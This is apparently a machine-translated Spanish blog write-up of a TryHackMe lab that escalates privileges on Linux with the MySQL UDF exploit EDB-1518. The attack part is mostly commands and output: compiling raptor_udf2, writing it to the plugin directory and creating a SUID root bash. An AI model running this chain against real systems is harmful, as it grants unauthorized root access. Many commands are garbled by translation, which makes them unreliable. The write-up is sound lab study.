[EDB-1518] ¡Escalación de privilegios utilizando la función definida por el usuario de MySQL (UDF)! Escritura de Linux PrivSc Parte 1 (Escalación de privilegios de Linux)

[EDB-1518] ¡Escalación de privilegios utilizando la función definida por el usuario de MySQL (UDF)! Escritura de Linux PrivSc Parte 1 (Escalación de privilegios de Linux)

Esta vez, probaremos "EDB-1518: Elevación del privilegio utilizando la función definida por el usuario de MySQL" en la base de datos Exploit.
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

Descripción general de EDB-1518

EDB-1518: MySQL 4.x/5.0 (Linux)-Función definida por el usuario (UDF) Biblioteca dinámica (2) establece que la escalada de privilegios se puede lograr mediante el uso de la función definida por el usuario de MySQL.

UDFS le permite crear funciones maliciosas que ejecutan comandos en el sistema operativo con los mismos privilegios que los servicios MySQL.
Si está ejecutando MySQL como root en la máquina de destino, podrá ejecutar el comando como root.

¿Qué es la función definida por el usuario (UDF)?

Una función definida por el usuario es un mecanismo que le permite crear nuevas funciones que funcionan como funciones MySQL incorporadas, y es una forma de extender MySQL.

Los pasos para ejecutar un UDF son los siguientes:

  1. Creación de bibliotecas (principalmente c/c ++)
  2. Compilar la biblioteca en un objeto compartido
  3. Coloque objetos compartidos en el directorio de complementos
  4. Creación de una función para ejecutar un objeto compartido en MySQL

Desplegar la vulnerable Debian VM

Iniciar la máquina de destino

Inicie sesión en su cuenta de usuario con SSH

Usuario de SSH@[Machine_IP]
$ ssh user@10.10.77.90 La autenticidad del host '10 .10.77.90 (10.10.77.90) 'no se puede establecer. RSA Key Fingerprint es SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK. ¿Estás seguro de que quieres continuar conectando (sí/no)? Sí Advertencia: agregó permanentemente '10 .10.77.90 '(RSA) a la lista de hosts conocidos. user@10.10.77.90's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP martes 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux Debian son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125
$ id uid = 1000 (usuario) gid = 1000 (usuario) grupos = 1000 (usuario), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (plugdev)

Verifique las condiciones requeridas para la escalada de privilegios

Esta vez, dado que solo es aplicable a la escalada de privilegios, se supone que puede iniciar sesión en el servidor de destino.

Compruebe si MySQL se está ejecutando

Primero, verifique si MySQL se está ejecutando.
Ejecute el siguiente comando:

netstat -tulpn

Si verifica la 12ª línea, puede ver que "2000/mysqld" está configurado para "escuchar".

root@debian: ~# netstat -tulpn Conexiones de Internet activas (solo servidores) Proto Recv-Q Send-Q Dirección local Dirección Extranjera Estado/Nombre del programa TCP 0 0 0.0.0.0.0:111 0.0.0.0 :* Escuchar 1199/PortMap TCP 0 0 00.0.0.0:8080 0.0.0.0:* Escucha 1826/nginx TCP 0.0.0.0:52341 0.0.0.0:* Escuchar - TCP 0 0 0.0.0.0:22 0.0.0.0 :* Escuchar 1837/SSHD TCP 0 0 0.0.0.0:37143 0.0.0.0.0:* Escuchar 1231/RPC.STATD TCP 0 0 0.0.0.0:25 0.0.0.0.0.0:0: tcp 0 0 0 0.0.0.0:2049 0.0.0.0:* Escuchar - TCP 0 0 0 0.0.0.0:49379 0.0.0.0:* Listen 1627/rpc.mountd tcp 0 0 0 127.0.0.1:3306 0.0.0.0:* Escuchar 2000/mysqld TCP6 0 0 :::::::* APAT TCP6 0 0 ::: 22 :::* Escucha 1837/SSHD UDP 0 0 0.0.0.0:68 0.0.0.0:* 1169/Dhclient UDP 0 0 0.0.0.0:60102 0.0.0.0.0:* 1627/rpc.mountd UDP 0 0 0.0.0:57929 1231/rpc.statd UDP 0 0 127.0.0.1:983 0.0.0.0:* 1231/rpc.statd UDP 0 0 0.0.0.0:111 0.0.0.0:* 1199/PortMap UDP 0 0 0 0.0.0.0:44152 0.0.0:* --* - UDP 0 0.0.0.0.0:20:20: 0.0.0.0:* -      

Verifique a quién realiza el servicio (propietario del proceso)

A continuación, asegúrese de que el ejecutor de MySQL sea root.
El comando es el siguiente: reduzcamos hacia abajo usando MySQL.

PS -EF | Grep MySQL

He confirmado que el corredor de MySQLD es root.
Esto indica que los UDF se pueden explotar para ejecutar el comando como root.

root@debian: ~# ps -ef | Grep Mysql Root 1866 1 0 08:53? 00:00:00/bin/sh/usr/bin/mysqld_safe root 2000 1866 0 08:53? 00:00:00/usr/sbin/mysqld-baseader =/usr --datadir =/var/lib/mysqld --user = root--pid-file =/var/run/mysqld/mysqld.pid --socket =/var/run/mysqld/mysqld.sock --port = 3306 root 2001 1866 08:53? 00:00:00 Logger -t MySqld -P Daemon.Error Root 2502 2481 0 09:00 pts/0 00:00:00 Grep Mysql

Revise la versión mysql

Si está explotando UDFS, la versión MySQL debe ser 4.x o 5.x.
El comando para verificar la versión mysql es la siguiente:

mysql -v

Dice "5.1.73", por lo que la versión tampoco parece ser un problema.

root@Debian: ~# mysql -v mysql ver 14.14 distribuy 5.1.73, para Debian-Linux-Gnu (x86_64) usando Readline 6.1

Compruebe si la contraseña de root está configurada

De manera predeterminada, no hay contraseña de root, así que verifique si puede iniciar sesión sin contraseña.
El comando es el siguiente:

mysql -u raíz

Pude iniciar sesión sin contraseña.
Si necesita una contraseña, primero tendrá que encontrar la contraseña, pero parece que se puede omitir esta vez.

root@Debian: ~# mysql -u root bienvenido al monitor mysql. Los comandos terminan con; o \ g. Su ID de conexión MySQL es 35 Versión del servidor: 5.1.73-1+DEB6U1 (Debian) Copyright (c) 2000, 2013, Oracle y/o sus afiliados. Reservados todos los derechos. Oracle es una marca registrada de Oracle Corporation y/o sus afiliados. Otros nombres pueden ser marcas comerciales de sus respectivos dueños. Escriba 'ayuda;' o '\ h' por ayuda. Escriba '\ c' para borrar la instrucción de entrada actual. mysql> 

Revise la configuración de MySQL

Finalmente, revisemos la configuración de MySQL.

Primero, consulte sus permisos.
Soy un súper usuario de MySQL, así que puedo ver que tengo acceso completo.

mysql> show subvenciones; + ---+ | Subvenciones para root@localhost | + ----+ | Otorgue todos los privilegios en *. * A 'root'@'localhost' con la opción de subvención | + ---+ 1 fila en el set (0.00 segundos)

A continuación, verifique secure_file_priv.
Esta es una opción para limitar la entrada y salida de datos en MySQL.

Esta vez estaba vacío, por lo que no había límite. Si hay un límite, es posible que no pueda atacar.

MySQL> Mostrar variables como 'Secure_File_Priv'; + ---+ | Variable_name | Valor | + ----+ | seguro_file_priv | | +-------------------------------------------------------------------------------------------------------------------------------------------------------

También verifique el directorio de complementos.
Está configurado en el valor predeterminado para "/usr/lib/mysql/plugin".

MySQL> Mostrar variables como 'plugin_dir'; + ---+ | Variable_name | Valor | + ----+ | plugin_dir | /usr/lib/mysql/complemento | +---------------------------------------------------------------------------------------------------------------------------

Ahora tiene todos los requisitos para aumentar los privilegios.
A continuación, atacemos.

Exploits de servicio

Ahora, comienza el ataque.
Primero, revisemos los pasos.

  1. Creación de bibliotecas (principalmente c/c ++)
  2. Compilar la biblioteca en un objeto compartido
  3. Coloque objetos compartidos en el directorio de complementos
  4. Creación de una función para ejecutar un objeto compartido en MySQL

El propósito de esta vez

No me importa lo que estoy apuntando para esta época, pero solo diré que quiero mirar los registros de Apache.
Parece que el usuario actual no tiene permisos.

CD/var/log/apache2 -bash: cd:/var/log/apache2: permiso denegado

Crear una biblioteca

En lugar de crear la biblioteca, obtenga RAPTOR_UDF2.C de
Explore-DB Sin embargo, si está utilizando Kali Linux, ya existe, por lo que me saltaré los pasos esta vez.

Compilar la biblioteca en un objeto compartido

Luego, compítelo en un objeto compartido.

Asegúrese de que se almacene RAPTOR_UDF2.C.

Usuario@Debian: ~ $ CD/Home/User/Tools/MySQL-UDF User@Debian: ~/Tools/MySQL-UDF $ LL Total 4 -RW-R-R-- 1 Usuario de usuario 3378 15 de mayo 2020 Raptor_UDF2.C

Compile Raptor_udf2.c con el comando a continuación:

usuario@debian: ~/herramientas/mysql -udf $ gcc -g -c raptor_udf2.c -fpic user@debian: ~/herramients/mysql -udf $ gcc -g -shared -wl, -soname, raaptor_udf2.so -o -o Raptor_udf2.so Raptor_udf2.o -lc

Coloque objetos compartidos en el directorio de complementos

A continuación, coloque los objetos compartidos en el directorio de complementos.
Sin embargo, dado que no tiene permisos en el directorio de complementos, deberá usar MySQL.

Primero, inicie sesión en MySQL como root.

usuario@debian: ~/herramientas/mysql -udf $ mysql -u root bienvenido al monitor mysql. Los comandos terminan con; o \ g. Su ID de conexión MySQL es 35 Versión del servidor: 5.1.73-1+DEB6U1 (Debian) Copyright (c) 2000, 2013, Oracle y/o sus afiliados. Reservados todos los derechos. Oracle es una marca registrada de Oracle Corporation y/o sus afiliados. Otros nombres pueden ser marcas comerciales de sus respectivos dueños. Escriba 'ayuda;' o '\ h' por ayuda. Escriba '\ c' para borrar la instrucción de entrada actual. mysql>

La base de datos que se utilizará será MySQL.

mysql> use mysql; Lectura de la información de la tabla para completar los nombres de la tabla y la columna Puede desactivar esta función para obtener una inicio más rápida con -A -una base de datos cambiada

Mueva el objeto compartido al directorio de complementos cargando el objeto compartido, guardándolo en la tabla y emitiendo el archivo de volcado al directorio de complementos.

mysql> crear tabla foo (blob de línea); Consulta OK, 0 filas afectadas (0.01 segundos) MySQL> Insertar en valores FOO (load_file ('/home/user/herramientas/mysql-udf/raaptor_udf2.so')); Consulta OK, 1 fila afectada (0.00 segundos) mysql> select * de foo en dumpfile '/usr/lib/mysql/plugin/raspor_udf2.so'; Consulta bien, 1 fila afectada (0.00 segundos)

Creación de una función para ejecutar un objeto compartido en MySQL

Cree una función que ejecute un objeto compartido llamado RAPTOR_UDF2.SO que acaba de mover al directorio de complementos.

mysql> Crear función do_System Devuelve Integer Soname 'Raptor_udf2.So'; Consulta bien, 0 filas afectadas (0.00 segundos)

Ahora estás listo para atacar.

Ejecute la función para establecer permisos Suid

Ejecute la función que creó para copiar /bin /bash a /tmp /rootbash y establecer permisos Suid.

MySQL> Seleccionar do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash'); + ----+ | do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash') | +----------------------------------------------------------------------------------------------------------------------------------------------------------- (0.01 segundos)

Una vez que haya terminado de configurar, salga y salga de MySQL.

mysql> salir adiós

Obtenga un caparazón que se ejecute con privilegios de raíz

Al ejecutar un archivo ejecutable ubicado en /tmp /rootbash, obtendrá un shell que se ejecuta con privilegios raíz.

usuario@debian: ~/herramientas/mysql-udf $/tmp/rootbash -p rootbash-4.1#

Lograr el objetivo

Ahora revisemos los registros de Apache, que apuntamos para este momento.
Creo que puedes ver lugares donde no tenías autoridad antes.

rootbash-4.1# cd/var/log/apache2 rootbash-4.1# ls access.log Error.log Error.log.2.gz access.log.1 Error.log.1 Other_vhosts_access.log

Creo que ahora hemos confirmado que se ha logrado la escalada de privilegios.

Puedes dejar Tryhackme aquí.

resumen

Esta vez, probé "EDB-1518: Mejora de los privilegios utilizando la función definida por el usuario de MySQL".
Con Tryhackme, solo hay un elemento, pero cuando se trata de hacerlo, fue difícil porque requirió mucha investigación.

También haré las siguientes tareas de TryhackMe, así que eche un vistazo.

Referencias y sitios

Juggernaut Pentesting Academy: https://juggernaut-sec.com/mysql-user-definedfunctions/
medio (nairuz abulhul): https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-user-function

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido